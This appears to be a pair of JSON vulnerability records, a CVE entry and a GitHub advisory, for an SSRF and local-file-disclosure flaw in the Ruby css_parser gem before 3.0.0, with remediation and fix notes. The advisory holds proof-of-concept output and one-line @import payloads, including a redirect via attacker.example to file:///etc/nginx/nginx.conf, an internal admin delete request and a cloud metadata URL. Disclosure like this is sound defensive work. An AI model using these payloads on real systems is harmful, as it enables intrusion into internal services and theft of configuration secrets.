{
  "affected": [
    {
      "affectedData": [
        {
          "product": "css_parser",
          "vendor": "premailer",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.0.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "css_parser is a Ruby CSS parser. From 2.2.0 until 3.0.0, CssParser::Parser#read_remote_file in lib/css_parser/parser.rb, and therefore load_uri! and the @import-following branch of add_block!, issued HTTP and HTTPS requests against any host, port, and URI without a scheme allowlist, host or IP filtering, or protection against link-local, loopback, or RFC-1918 addresses. Location: redirects were followed recursively back into the same function, which also serviced file:// URIs, so a single attacker-controlled HTTP redirect could upgrade the bug from SSRF to arbitrary local file disclosure. Any consumer of css_parser that hands it attacker-influenced CSS together with a base_uri: option is exposed. This issue is fixed in version 3.0.0."
    }
  ],
  "id": "CVE-2026-53727",
  "lastModified": "2026-07-20T15:16:43.233",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.9,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-53727",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T13:48:25.291408Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-17T21:17:07.837",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/premailer/css_parser/commit/7d2ddf0189cd54b54f378f59daefa10cb036e476"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/premailer/css_parser/commit/e0a151458b2a801ae265ba420862ef8b1127b3ae"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/premailer/css_parser/releases/tag/v3.0.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "css_parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:43:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`CssParser::Parser#read_remote_file` (and therefore `load_uri!`, and the `@import`-following branch of `add_block!`) issues HTTP/HTTPS requests against any host, port and URI it is handed, with no scheme allowlist, no host / IP filtering, and no protection against link-local, loopback or RFC\u20111918 addresses. `Location:` redirects are followed recursively back into the same function, which **also services `file://` URIs**, so a single attacker-controlled HTTP redirect upgrades the bug from SSRF to arbitrary local file disclosure.\n\nIn practice, any consumer of `css_parser` that hands it attacker\u2011influenced CSS together with a `base_uri:` option \u2014 Premailer being the canonical example \u2014 is exposed. The attacker only needs the ability to land one `@import url(...)` in the CSS that the host application parses.\n\n## Vulnerable code\n\n[`lib/css_parser/parser.rb#L613-L687`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L613-L687):\n\n```ruby\ndef read_remote_file(uri) # :nodoc:\n  ...\n  begin\n    uri = Addressable::URI.parse(uri.to_s)\n\n    if uri.scheme == \u0027file\u0027\n      # local file\n      path = uri.path\n      path.gsub!(%r{^/}, \u0027\u0027) if Gem.win_platform?\n      src = File.read(path, mode: \u0027rb\u0027)        # \u003c-- arbitrary local read\n    else\n      # remote file\n      if uri.scheme == \u0027https\u0027\n        uri.port = 443 unless uri.port\n        http = Net::HTTP.new(uri.host, uri.port)\n        http.use_ssl = true\n      else\n        http = Net::HTTP.new(uri.host, uri.port)  # \u003c-- arbitrary host:port\n      end\n\n      res = http.get(uri.request_uri, ...)\n      ...\n      elsif res.code.to_i \u003e= 300 and res.code.to_i \u003c 400\n        unless res[\u0027Location\u0027].nil?\n          return read_remote_file Addressable::URI.parse(...)  # \u003c-- cross-scheme redirect\n        end\n      end\n    ...\n```\n\nThere is **no validation** of `uri.host`, `uri.scheme`, or the resolved IP address \u2014 neither before the HTTP request, nor before the recursive call on the `Location` header.\n\nThe user-facing entry points that reach this sink are:\n\n- [`Parser#load_uri!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L489-L516) \u2014 directly calls `read_remote_file` (line 513).\n- [`Parser#add_block!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L117-L162) \u2014 when invoked with `base_uri:` and the default `import: true`, scans the CSS for `@import url(...)` rules and resolves each one through `load_uri!` (line 150).\n\n## Threat model and scope\n\n| Capability | Reachable? | Notes |\n|---|---|---|\n| Arbitrary outbound `http://` / `https://` GET to any host:port reachable from the server | \u2705 | No host, IP, port or scheme allowlist. Works against loopback, RFC\u20111918, link\u2011local (169.254/16, AWS / GCP / Azure IMDS), and Docker / k8s service IPs. |\n| Recovering the response body | \u2705 (conditional) | The body is fed back into `add_block!`. Any bytes that form `selector { decl }` round\u2011trip out via `Parser#each_selector` / `to_s`. A consumer that emits the parsed CSS (e.g. Premailer inlining into HTML) leaks the body to the original attacker. |\n| Local file read via cross-scheme redirect (`Location: file://...`) | \u26a0\ufe0f partial | Redirect is followed without checking the new scheme; the recursive call services `file://` with `File.read`. The read itself executes against any path the Ruby process can open. **Content recovery via the parser API is constrained by CSS grammar** \u2014 see \"File-disclosure scope\" below. |\n| File-existence oracle | \u2705 | With default `io_exceptions: true`, missing paths raise `CssParser::RemoteFileError` and existing paths return silently. An attacker can iterate `file://` targets to enumerate filesystem layout, usernames, installed software, etc. |\n| Side-effecting GETs against unprotected internal admin endpoints | \u2705 | Even with a non\u2011CSS response, the request still fires. Internal services that act on GET (legacy admin panels, debug endpoints, cache busters, queue triggers) execute. |\n| Forced gzip / deflate decompression (DoS / decompression bomb) | \u2705 | `Accept-Encoding: gzip` is hardcoded (line 650) and the body is decompressed with `Zlib::GzipReader` / `Zlib::Inflate` (lines 665-672). An attacker server can return a small gzipped payload that decompresses to multiple GB. |\n| HTTPS internal targets with self-signed / private CA certs | \u26a0\ufe0f | `Net::HTTP#use_ssl = true` defaults to `VERIFY_PEER`, so internal HTTPS hosts with private certs will fail the SSL handshake. Plain HTTP, and HTTPS hosts whose certs chain to a CA trusted by the process, are fully exploitable. |\n| Smuggling other TCP protocols (Redis, Memcached, etc.) via the HTTP client | \u26a0\ufe0f | `Net::HTTP` writes a real HTTP request line, so Redis / Memcached won\u0027t accept it. The TCP connect itself does occur, which can still trigger logs, port-scan effects, and connection-state side effects in firewalled environments. |\n\n### File-disclosure scope (cross-scheme redirect leg)\n\nThe `file://` branch of `read_remote_file` does an unconditional `File.read`, but the contents are then handed back to `add_block!` and fed through the CSS tokenizer ([`parse_block_into_rule_sets!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L342-L480)). Only content that fits the grammar at the lexer level survives:\n\n- **Selector slot** \u2014 any text accumulated before the next `{` becomes the selector for that rule (including text spanning multiple lines).\n- **Declarations slot** \u2014 only `prop: value;` pairs inside `{ ... }` are retained. The `Declarations` parser splits on `;`, requires `:`, and drops anything else ([rule_set.rb#L655-L681](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/rule_set.rb#L655-L681)).\n- A rule is only added when the *raw* declarations string between `{` and `}` is non-empty ([parser.rb#L396](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L396)).\n\nEmpirical results against vulnerable 2.2.0 with `Location: file://\u003cpath\u003e`:\n\n| File contents | Recoverable through `to_s` / `each_selector`? |\n|---|---|\n| `root:x:0:0:root:/root:/bin/bash\\napi_key=\u2026` (no braces) | nothing |\n| `{\"AccessKeyId\":\"AKIA\u2026\",\"Secret\":\"wJalr\u2026\"}` (JSON, leading `{`) | nothing via `to_s`; partial leak via `each_rule_set` (empty selector + one parsed declaration) |\n| `SECRET=eyJhbGc\u2026 {}` (empty braces) | nothing (rule not added \u2014 raw decls empty) |\n| `api_key=\u2026\\ndatabase{host:db.internal;pw:hunter2;}` | full leak: selector = `api_key=\u2026 database`, decls = `host: db.internal; pw: hunter2` |\n| nginx / HCL-style config: `name { key: value; }` | full leak of both slots |\n\nIn practice this means **high-value targets that aren\u0027t CSS-shaped \u2014 TLS keys, SSH keys, JWTs, `.env` files (`KEY=VALUE` lines), `/etc/passwd`, binary content \u2014 do not leak their bytes through the parser API**. Configuration files written in block-style DSLs (nginx, HCL/Terraform, Caddy, etc.) leak heavily. The `File.read` itself always executes, which is enough to (a) act as a file-existence oracle and (b) cause resource exhaustion on large pseudo-files like `/dev/zero`.\n\nThe **stronger** recovery channel is the SSRF leg, not file disclosure: when the response comes from an internal HTTP service, Premailer-style consumers serialize the parsed CSS back into rendered HTML/email output, and any CSS-shaped bytes in the response surface there.\n\n### Is it \"blind\"?\n\nIt is *not* a classic blind SSRF. The bug has two recovery channels:\n\n1. **Application output.** The library is most commonly driven by Premailer, which writes the parsed CSS back into the rendered HTML. Any response bytes that happen to form CSS rules are emitted into the output document and therefore visible to whoever receives the rendered output. Internal endpoints frequently return content that parses as CSS by accident \u2014 anywhere `{ ... }` appears (JSON objects sit just inside that envelope; many config-dump endpoints look the same) the contents become exfiltratable rules.\n2. **Side effects on the destination.** Because the request actually leaves the server, an attacker who controls the destination URL sees the request unconditionally (URL, headers, source IP, user-agent from `@options[:user_agent]`). And when the destination is an internal service the attacker does *not* control, the GET is nonetheless executed against that service.\n\n## Reproduction\n\nA minimal, self-contained reproducer is attached as [`poc.rb`](./poc.rb). It spins up two local WEBrick servers (a fake \"internal\" service on 127.0.0.1:18080 and an attacker-controlled redirector on 127.0.0.1:18081) and runs four scenarios against `css_parser` 2.2.0.\n\n```\n$ gem install css_parser -v 2.2.0\n$ gem install webrick     # not bundled with Ruby \u003e= 3.0\n$ ruby poc.rb\n```\n\n### Actual output\n\n```\n========================================================================\nPOC 1 \u2014 SSRF: force a GET to an internal-only HTTP endpoint and\n         recover the response body via the parser API\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin-credentials\");\nInternal endpoint hit count: 1  (should be \u003e= 1)\nRules parsed from the internal response:\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 2 \u2014 Cross-scheme redirect: HTTP 302 \u2192 file:// \u2192 local file read\n========================================================================\nLocal secret file: /tmp/css_parser_nginx.conf\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18081/to-local-file\");\nRules parsed from the redirect target (a local file):\n  server { listen: 443; server_name: internal.example.com;\n           ssl_certificate_key: /etc/nginx/ssl/SECRET_PRIVATE_KEY.pem;\n           proxy_pass: http://10.0.0.42:8080; }\n\n========================================================================\nPOC 3 \u2014 Direct load_uri! also affected\n========================================================================\nparser.load_uri!(\u0027http://127.0.0.1:18080/admin-credentials\u0027)\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 4 \u2014 Pure SSRF side-effect (works even when the response is not CSS-shaped)\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin/delete-user?id=42\");\nInternal side-effect endpoint reached? true\nRequest observed by internal service: \"/admin/delete-user?id=42\"\n```\n\n### Minimal one-line triggers\n\nThe smallest possible attacker payload is a single `@import` rule. The following three examples are ordered from \"highest practical impact\" to \"least\", because the parser\u0027s data-recovery surface depends on the shape of the response (see the \"File-disclosure scope\" table above):\n\n**1. Internal block-DSL config via cross-scheme redirect \u2192 file://** \u2014 nginx, HCL/Terraform, Caddy, BIND, etc. all use `name { key value; }` block syntax, which round-trips cleanly out of the css_parser API. An attacker who controls `attacker.example` redirects to the local file:\n\n```css\n/* attacker.css */\n@import url(\"https://attacker.example/r\");\n```\n\n```\nGET https://attacker.example/r\n\u2192 302 Location: file:///etc/nginx/nginx.conf\n```\n\nResult: the full `server { listen 443 ssl; ssl_certificate_key \u2026; \u2026 }` block is parsed into selectors and declarations and surfaces via `parser.to_s`, which Premailer-style consumers re-emit into rendered output.\n\n**2. Side-effecting internal admin GET** \u2014 even when the response is not CSS-shaped, the request still executes against the internal service:\n\n```css\n@import url(\"http://internal-admin.local/api/v1/users/42?action=delete\");\n```\n\nNo data exfiltration is required for this to be a vulnerability: the attacker has achieved an authenticated-from-localhost GET against an internal control-plane endpoint.\n\n**3. Internal HTTP service whose body happens to be CSS-shaped** \u2014 a status / debug page or a config endpoint that emits `block { key: value; }` text. Same recovery profile as case (1).\n\n```css\n@import url(\"http://internal-svc.local/debug/config\");\n```\n\nAll three payloads are parsed via:\n\n```ruby\nrequire \u0027css_parser\u0027\nparser = CssParser::Parser.new\nparser.add_block!(File.read(\u0027attacker.css\u0027), base_uri: \u0027http://attacker.example/\u0027)\n```\n\n`base_uri:` is the only required option \u2014 it is what enables the `@import`-following code path ([parser.rb:147-150](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L147-L150)). Premailer always sets `base_uri:` when given an HTML document that has a URL, so every Premailer pipeline that processes attacker-influenced HTML/CSS reaches this sink.\n\n\u003e Note on the EC2 IMDS / `169.254.169.254` example often associated with SSRF write-ups: `@import url(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")` **does fire the request**, but the role-list response is plain text with no `{` characters and is therefore discarded by the CSS tokenizer \u2014 nothing surfaces via `parser.to_s` or `each_selector`. The per-role credentials JSON endpoint *partially* leaks the body as a single declaration value, but only via `each_rule_set` / `each_declaration`, which Premailer does not expose to its output. IMDSv2 is not exploitable at all (no `PUT` support, no header injection). The bug is still serious \u2014 just not via the IMDS path the way an XHR/curl-based SSRF would be.\n\n### Standalone `file://` via `load_uri!` (no HTTP redirect needed)\n\nIndependent of the SSRF / redirect chain above, `Parser#load_uri!` itself executes `File.read` against any `file://` URI it is handed, and `Parser#add_block!(css, base_uri: \u0027file:///some/dir/\u0027)` resolves `@import` against that base. Any application that hands an attacker-influenced URI (or an `@import` URL with an attacker-influenced base) to either method has a local file read primitive \u2014 no HTTP, no redirect, no `ssrf_filter`-bypass technique required.\n\n```ruby\nrequire \u0027css_parser\u0027\nparser = CssParser::Parser.new\nparser.load_uri!(\u0027file:///etc/nginx/nginx.conf\u0027)  # direct File.read\n```\n\n\u2026or via a CSS-driven path with an attacker-controlled `@import`:\n\n```ruby\nparser = CssParser::Parser.new\nparser.add_block!(File.read(\u0027attacker.css\u0027), base_uri: \u0027file:///etc/\u0027)\n# attacker.css contains: @import url(\"nginx/nginx.conf\");\n```\n\nThe recoverable-content rules in the \"File-disclosure scope\" subsection above apply identically here \u2014 the bytes flow through the same `add_block!` tokenizer regardless of whether they arrived via redirect or directly. Applications that don\u0027t accept HTTP URLs from users but *do* construct `file://` URIs from any user-supplied component are exposed.\n\nThis is a separate weakness (`CWE-73`) from the SSRF leg (`CWE-918`) and is gated by its own opt-in flag in 3.0.0 (see \"Fix as shipped in 3.0.0\" below).\n\n## Suggested remediation\n\n1. **Reject non-`http(s)` schemes in `read_remote_file`.** Before the recursive redirect call at line 661 and at the top of `read_remote_file`, require `uri.scheme.in?(%w[http https])`. The `file://` branch at lines 635-639 should be removed from `read_remote_file` entirely \u2014 local files are already handled by `load_file!`, so keeping a `file://` branch in the *remote* read path serves no purpose other than enabling this redirect bypass.\n2. **Validate the resolved address against private / link-local / loopback ranges**, behind an opt-in option (e.g. `allow_local_uris: false`). At minimum, resolve `uri.host` and reject results in `127.0.0.0/8`, `10/8`, `172.16/12`, `192.168/16`, `169.254/16`, `::1`, `fc00::/7`, `fe80::/10`, and unspecified addresses. The check must be done *after* DNS resolution and re-checked on every redirect hop, otherwise DNS rebinding and CNAME redirection trivially bypass it.\n3. **Re-validate every redirect hop.** The recursive call at line 661 currently inherits no validation. Apply the same scheme / host / address checks as step 1-2 before recursing.\n4. **Bound the response size** read from `http.get` and decompressed at lines 665-672, to mitigate decompression bombs.\n5. **Document the security posture.** `load_uri!` / `add_block!` with `base_uri:` should be documented as security-sensitive, with a clear recommendation that any caller exposing them to untrusted CSS use the allowlist option above.\n\nMany of these issues could be generally remediated by replacing the network logic with the [ssrf_filter](https://github.com/arkadiyt/ssrf_filter) gem.\n\n## Fix as shipped in 3.0.0\n\nThe remediation lands as two structural changes plus two new independent opt-in flags. The structural changes apply unconditionally; the flags let callers re-enable specific subsets of the old behaviour where they have a legitimate need.\n\n### Structural changes (always on, no opt-out)\n\n- **Outbound HTTP goes through [`ssrf_filter`](https://github.com/arkadiyt/ssrf_filter) by default.** `ssrf_filter` resolves the hostname with `Resolv`, rejects unsafe IP ranges (loopback, RFC-1918, link-local, multicast, IPv6 ULAs, cloud metadata), enforces a `scheme_whitelist` of `%w[http https]`, and re-validates scheme and IP on every redirect hop. CNAME-to-private-IP and other DNS-rebinding-style bypasses are defeated by the resolved-IP check.\n- **`file://` is no longer reachable from the remote-fetch path at all.** The `file://` handling was moved out of `read_remote_file` entirely into `load_uri!`, so a 3xx `Location: file://...` response cannot be followed regardless of how the parser is configured.\n- **`Accept-Encoding: gzip` is no longer requested** by the remote-fetch path, removing the decompression-bomb surface that was called out as a separate mitigation item.\n\n### New `Parser` options\n\nTwo independent off-by-default flags, mapping 1:1 to the two CWE classes:\n\n| Option | Default | Gates | Threat class |\n|---|---|---|---|\n| `allow_local_network` | `false` | http(s) requests resolving to loopback / RFC-1918 / link-local / IMDS addresses | CWE-918 (SSRF) |\n| `allow_file_uris` | `false` | `file://` URIs via `load_uri!` (and `@import` resolved against `file://` base_uri) | CWE-73 (LFI) |\n\nEach flag is **independent**: setting `allow_local_network: true` does **not** permit `file://`, and `allow_file_uris: true` does **not** permit loopback HTTP. Callers grant exactly the threat surface they need open and nothing more.\n\n`load_file!` \u2014 the explicit local-file API that takes a path (not a URI) \u2014 is unaffected by either flag, because the path comes from the caller\u0027s own code, not from a user-influenced URI.\n\n### Upgrade notes\n\n- **Premailer / email-rendering / link-preview pipelines**: no code changes required. The default-secure 3.0.0 configuration is exactly what you want \u2014 the same `Parser.new` instantiation now refuses SSRF and LFI attempts.\n- **Test suites that fetch from `localhost` or a loopback fixture server**: pass `allow_local_network: true` on the relevant `Parser.new` calls.\n- **Code that deliberately calls `parser.load_uri!(\u0027file://...\u0027)` or sets `base_uri: \u0027file://...\u0027`**: pass `allow_file_uris: true`. Where possible, prefer migrating to `parser.load_file!(path)` instead \u2014 it\u0027s the explicit local-file API and is not subject to the URI gate.\n- **Code that uses both** (e.g. integration tests against a local HTTP fixture *and* file:// fixtures): pass both, `Parser.new(allow_local_network: true, allow_file_uris: true)`.\n\nThe fix landed across these commits: `ba74c3c` (failing tests), `7d2ddf0` (implementation), `e0a1514` (defensive invariant guards), all merged.\n\n## Credit\n\nThis vulnerability was reported by @JLLeitschuh of the @braze-inc security team. This vulnerability was originally discovered by the pentesters at @nccgroup.",
  "id": "GHSA-9pmc-p236-855h",
  "modified": "2026-07-09T13:43:13Z",
  "published": "2026-07-09T13:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/premailer/css_parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/css_parser/CVE-2026-53727.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ruby CSS Parser: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`"
}